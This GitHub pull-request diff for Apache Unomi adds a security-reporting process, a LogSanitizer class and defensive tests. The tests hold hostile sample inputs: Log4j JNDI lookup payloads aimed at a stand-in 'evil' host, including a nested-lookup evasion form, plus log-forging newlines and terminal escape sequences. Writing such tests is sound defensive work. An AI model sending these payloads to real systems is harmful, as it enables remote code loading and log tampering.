Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
22 changes: 20 additions & 2 deletions SECURITY.md
Original file line number Diff line number Diff line change
Expand Up @@ -19,8 +19,26 @@ limitations under the License.
## Reporting a Vulnerability

`apache/unomi` follows the [Apache Software Foundation security process](https://www.apache.org/security/). Please report suspected
vulnerabilities privately to `security@apache.org` (the ASF security team routes Unomi reports to the project's private list, `private@unomi.apache.org`); do not open public
GitHub issues or pull requests for security reports.
vulnerabilities privately to `security@apache.org` (the ASF Security Team routes Unomi reports to the project's private PMC list,
`private@unomi.apache.org`); do not open public GitHub issues or pull requests for security reports.

## How the PMC handles reports

Unomi follows the default ASF process in
[ASF Project Security for Committers — Handling a possible vulnerability](https://apache.org/security/committers.html#vulnerability-handling).
Unomi does not currently maintain a dedicated `security@unomi.apache.org` list, so further private mail about an undisclosed issue
should be copied to `security@apache.org` as that guide requires.

Summary of the steps the PMC applies:

1. **Work in private** — no public Jira/GitHub issues; commit messages must not call out the security nature of the fix until announcement.
2. **Acknowledge** — email the reporter (cc `security@apache.org` / `private@unomi.apache.org`).
3. **Investigate** — triage against [THREAT_MODEL.md](./THREAT_MODEL.md); **accept** or **reject** each distinct finding (a multi-issue report may be split).
4. **If rejected** — write to the reporter explaining why (cc security lists). Rejection reasons include out-of-model / by-design findings and issues that affect **only unreleased** development code with no released-line impact (still fix before the next GA when appropriate).
5. **If accepted** — tell the reporter we are working on a fix; request CVE ID(s) via [cveprocess.apache.org](https://cveprocess.apache.org) or `security@apache.org` (ASF Security can advise on splitting/merging CVEs).
6. **Resolve** — agree the fix privately; document on the ASF CVE portal; share fix + draft announcement with the reporter; commit without security references; ship a release that includes the fix.
7. **Announce** — with or after the release announcement (reporter, project lists, `security@apache.org`, `oss-security@lists.openwall.com`).
8. **Complete** — update [unomi.apache.org/security/](https://unomi.apache.org/security/) and CVE references.

## Threat Model

Expand Down
154 changes: 90 additions & 64 deletions THREAT_MODEL.md

Large diffs are not rendered by default.

83 changes: 83 additions & 0 deletions api/src/main/java/org/apache/unomi/api/utils/LogSanitizer.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,83 @@
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.unomi.api.utils;

/**
* Sanitizes untrusted, request-derived values before they are written to a log.
* <p>
* Anything that arrives over the network is attacker-controlled, so writing it verbatim into a log
* makes the log itself an attack surface: an embedded newline lets an attacker forge log records
* (making a real attack look like routine traffic, or implicating someone else), control characters
* can corrupt terminals and log shippers, and an unbounded value can flood the log. Security
* warnings are the worst place for this, because those are exactly the lines shipped to a SIEM and
* trusted during incident response.
* <p>
* Values that never leave the server — enum names, role sets, hashes, rule configuration authored by
* an administrator — do not need this. Use it for request bodies, headers, cookies, query and path
* parameters, uploaded filenames, and event properties.
*/
public final class LogSanitizer {

/** Long enough to identify a value, short enough that it cannot flood the log. */
private static final int MAX_LENGTH = 200;

private LogSanitizer() {
}

/**
* Replaces every character that is not printable ASCII, and every log-format marker
* ({@code \ { } % $}), with an underscore, then truncates. This removes the newlines and control
* characters used for log injection, and neutralises markers that a downstream log formatter
* might otherwise interpret.
*
* @param input the untrusted value, may be {@code null}
* @return a value that is always safe to place in a log message; {@code "null"} when input was null
*/
public static String forLogging(String input) {
return forLogging(input, MAX_LENGTH);
}

/**
* As {@link #forLogging(String)}, but with a caller-chosen length limit for contexts that need
* more room (a request URL, an exception message) than the default.
*
* @param input the untrusted value, may be {@code null}
* @param maxLength the length beyond which the value is truncated
* @return a value that is always safe to place in a log message; {@code "null"} when input was null
*/
public static String forLogging(String input, int maxLength) {
if (input == null) {
return "null";
}
// Clamped: a negative limit would make substring throw, from inside a helper whose whole
// contract is that it is always safe to call in a log statement. No caller passes one today,
// but a computed limit (a remaining-budget calculation, say) would be an easy way to turn a
// security-refusal log line into an uncaught exception.
int limit = Math.max(0, maxLength);
String value = input.length() > limit ? input.substring(0, limit) + "...[truncated]" : input;
StringBuilder sanitized = new StringBuilder(value.length());
for (int i = 0; i < value.length(); i++) {
char c = value.charAt(i);
if (c >= 0x20 && c <= 0x7E && c != '\\' && c != '{' && c != '}' && c != '%' && c != '$') {
sanitized.append(c);
} else {
sanitized.append('_');
}
}
return sanitized.toString();
}
}
227 changes: 227 additions & 0 deletions api/src/test/java/org/apache/unomi/api/utils/LogSanitizerTest.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,227 @@
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.unomi.api.utils;

import org.junit.Test;

import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;

/**
* The values this guards are attacker-controlled by definition — uploaded filenames, event property
* names, cookies, session ids — so these are the cases an attacker would actually try.
*/
public class LogSanitizerTest {

/**
* The core defence: a newline would let an attacker close the current log record and write their
* own, forging an entry that an operator or SIEM would read as genuine.
*/
@Test
public void newlinesCannotForgeALogRecord() {
String forged = "innocent.groovy\n2026-08-08 12:00:00 WARN AUDIT groovy-action save: action=already-approved";

String sanitized = LogSanitizer.forLogging(forged);

assertFalse("a newline must not survive into the log", sanitized.contains("\n"));
assertFalse("a carriage return must not survive into the log", sanitized.contains("\r"));
assertTrue("the original text should still be recognisable", sanitized.startsWith("innocent.groovy_"));
}

@Test
public void controlCharactersAreReplaced() {
// ESC is what makes an ANSI sequence act on a terminal; the "[2J" after it is ordinary
// printable text, which is why only the ESC itself needs replacing.
String sanitized = LogSanitizer.forLogging("a\u001b[2Jb\tc\u0000d");

assertFalse("ESC must not survive", sanitized.indexOf(0x1b) >= 0);
assertFalse("TAB must not survive", sanitized.contains("\t"));
assertFalse("NUL must not survive", sanitized.indexOf(0) >= 0);
assertEquals("a_[2Jb_c_d", sanitized);
}

/** {@code {} $ %} are formatter markers; a downstream pattern layout must not act on them. */
@Test
public void logFormatMarkersAreNeutralised() {
String sanitized = LogSanitizer.forLogging("${jndi:ldap://evil/x} {} %n");

assertFalse(sanitized.contains("$"));
assertFalse(sanitized.contains("{"));
assertFalse(sanitized.contains("}"));
assertFalse(sanitized.contains("%"));
}

@Test
public void oversizedValuesAreTruncatedSoTheyCannotFloodTheLog() {
String sanitized = LogSanitizer.forLogging("a".repeat(5000));

assertTrue(sanitized.endsWith("...[truncated]"));
assertTrue("truncated output must stay bounded", sanitized.length() < 300);
}

@Test
public void callerSuppliedLimitIsHonoured() {
assertEquals("abc...[truncated]", LogSanitizer.forLogging("abcdef", 3));
}

@Test
public void ordinaryValuesArePassedThroughUnchanged() {
assertEquals("myAction", LogSanitizer.forLogging("myAction"));
assertEquals("a1b2c3d4-e5f6-7890-abcd-ef1234567890",
LogSanitizer.forLogging("a1b2c3d4-e5f6-7890-abcd-ef1234567890"));
}

/** Distinguishable from an empty value, so an audit record never silently loses a field. */
@Test
public void nullBecomesAnExplicitMarker() {
assertEquals("null", LogSanitizer.forLogging(null));
}

// ---------------------------------------------------------------------------------------
// Evasion attempts. Each of these defeats at least one naive implementation of this filter.
// ---------------------------------------------------------------------------------------

/**
* The classic bypass of a {@code Character.isISOControl} check: U+2028 and U+2029 are Unicode
* line terminators but are <em>not</em> ISO controls, so a validator written against that
* predicate lets them through while JSON log pipelines and JS-based log viewers still break the
* line on them. An allowlist of printable ASCII is immune; a denylist of control characters is not.
*/
@Test
public void unicodeLineTerminatorsThatAreNotIsoControlsAreStillRemoved() {
assertFalse(Character.isISOControl('\u2028'));
assertFalse(Character.isISOControl('\u2029'));

String sanitized = LogSanitizer.forLogging("a\u2028forged\u2029line\u0085nel");

assertEquals("a_forged_line_nel", sanitized);
}

/**
* Log4j lookup evasion: the payload hides {@code jndi} behind a nested lookup so a filter
* searching for the literal string "jndi" misses it. Filtering the {@code $} and braces that
* make a lookup a lookup defeats the whole family, known and unknown.
*/
@Test
public void nestedLookupEvasionIsNeutralised() {
String sanitized = LogSanitizer.forLogging("${${lower:j}${lower:n}di:ldap://evil/a}");

assertFalse(sanitized.contains("$"));
assertFalse(sanitized.contains("{"));
assertFalse(sanitized.contains("}"));
assertTrue("the text should survive in inert form", sanitized.contains("ldap://evil/a"));
}

/**
* A lone high surrogate at the truncation boundary. Cutting a string with {@code substring} can
* split a surrogate pair and leave an unpaired half, which some appenders and JSON encoders
* reject or mangle. Filtering after truncation means the orphan is replaced like any other
* non-ASCII char, so the result is always well-formed.
*/
@Test
public void truncationCannotLeaveAnUnpairedSurrogate() {
String emoji = "\uD83D\uDE00"; // U+1F600, a surrogate pair
StringBuilder payload = new StringBuilder();
for (int i = 0; i < 199; i++) {
payload.append('a');
}
payload.append(emoji);

String sanitized = LogSanitizer.forLogging(payload.toString());

for (int i = 0; i < sanitized.length(); i++) {
assertFalse("no unpaired surrogate may survive", Character.isSurrogate(sanitized.charAt(i)));
}
}

/**
* Terminal control: BS overwrites already-printed characters and ESC]0; retitles the window, so
* an attacker can make a log line read as something else entirely in a live terminal.
*/
@Test
public void terminalRewritingSequencesAreRemoved() {
String sanitized = LogSanitizer.forLogging("denied\b\b\b\b\b\b\u001b]0;granted\u0007");

assertFalse(sanitized.contains("\b"));
assertFalse("BEL must not survive", sanitized.indexOf(7) >= 0);
assertTrue(sanitized.startsWith("denied"));
}

/**
* Right-to-left override reverses the display order of everything after it, so a log entry can
* be made to read backwards — {@code deined} for {@code denied} — without changing the bytes a
* grep would match.
*/
@Test
public void bidiOverrideCannotReorderTheDisplayedLine() {
String sanitized = LogSanitizer.forLogging("action=\u202egnitirw\u202c");

assertFalse(sanitized.contains("\u202e"));
assertFalse(sanitized.contains("\u202c"));
}

/** Zero-width characters split a token so an exact-match SIEM rule no longer fires on it. */
@Test
public void zeroWidthCharactersCannotHideATokenFromSearch() {
String sanitized = LogSanitizer.forLogging("ad\u200bmin\ufeff");

assertFalse(sanitized.contains("\u200b"));
assertFalse(sanitized.contains("\ufeff"));
assertEquals("ad_min_", sanitized);
}

/**
* A payload placed beyond the truncation point must not come back: truncation happens first, so
* anything past the limit is gone before it can be interpreted.
*/
@Test
public void payloadHiddenBeyondTheTruncationPointIsDropped() {
String sanitized = LogSanitizer.forLogging("a".repeat(400) + "\nWARN forged-record");

assertFalse(sanitized.contains("forged-record"));
assertFalse(sanitized.contains("\n"));
}

/**
* An escaped newline: if any downstream formatter or JSON decoder unescapes the value, a
* surviving backslash would become a real newline. Filtering the backslash removes that
* second-order path.
*/
@Test
public void escapedNewlineCannotBeRevivedDownstream() {
String sanitized = LogSanitizer.forLogging("a\\nb\\u000ac");

assertFalse("no backslash may survive to be unescaped later", sanitized.contains("\\"));
}

/** Sanitizing twice must equal sanitizing once, or nested logging would corrupt the value. */
@Test
public void sanitizationIsIdempotent() {
String once = LogSanitizer.forLogging("a\nb\u2028c${x}\uD83D\uDE00");

assertEquals(once, LogSanitizer.forLogging(once));
}

/** A negative limit must not throw: this helper is called from inside log statements. */
@Test
public void negativeLimitIsClampedRatherThanThrowing() {
assertEquals("...[truncated]", LogSanitizer.forLogging("abcdef", -1));
assertEquals("...[truncated]", LogSanitizer.forLogging("abcdef", 0));
}

}
2 changes: 2 additions & 0 deletions clear-elasticsearch.sh
Original file line number Diff line number Diff line change
Expand Up @@ -57,6 +57,8 @@ unset UNOMI_ELASTICSEARCH_SSL_ENABLE
unset UNOMI_ELASTICSEARCH_SSL_TRUST_ALL_CERTIFICATES
# Also set by setup-elasticsearch.sh / setup-opensearch.sh
unset UNOMI_DISTRIBUTION
unset UNOMI_ROOT_PASSWORD
unset UNOMI_HEALTHCHECK_PASSWORD

unset _IS_SOURCED

Expand Down
2 changes: 2 additions & 0 deletions clear-opensearch.sh
Original file line number Diff line number Diff line change
Expand Up @@ -58,6 +58,8 @@ unset UNOMI_OPENSEARCH_SSL_ENABLE
unset UNOMI_OPENSEARCH_SSL_TRUST_ALL_CERTIFICATES
# Also set by setup-opensearch.sh / setup-elasticsearch.sh
unset UNOMI_DISTRIBUTION
unset UNOMI_ROOT_PASSWORD
unset UNOMI_HEALTHCHECK_PASSWORD

unset _IS_SOURCED

Expand Down
Loading
Loading